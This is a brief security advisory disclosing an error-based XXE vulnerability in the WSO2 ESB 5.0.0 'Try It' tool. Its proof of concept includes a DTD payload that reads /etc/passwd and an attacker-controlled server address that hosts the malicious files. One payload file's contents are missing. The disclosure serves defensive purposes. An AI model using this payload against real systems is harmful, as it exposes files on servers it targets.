### **WSO2 ESB Disclosures**

Version 5.0.0

# **Environment:**

- WSO2 ESB 5.0.0
- OpenJDK 1.8.0 252
- Ubuntu Linux

## Findings:

1. MAL-006: XXE in "Try It"

#### **Description:**

An error-based XML External Entity (XXE) attack was identified in the WSO2 ESB "Try It" tool. This XXE can be exploited by using malicious XML Entity elements in the WSDL files requested by the "Try It" tool.

#### **Proof of Concept:**

We will use the following "oob.xml" and "dtd.xml" XML files to generate an error based XXE attack.

#### Consents of "oob.xml":

#### Consents of "dtd.xml":

```
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY & #x25; error SYSTEM '%file;'>">
```

**Note:** "http://192.168.243.128:8000" is the address to the malicious HTTP server controlled by the attacker.

When requesting "http://192.168.243.128:8000/oob.xml" via the "Try It" tool, we will trigger a verbose error that will disclose the content of arbitrary files chosen by the attacker (in this case "/etc/passwd").

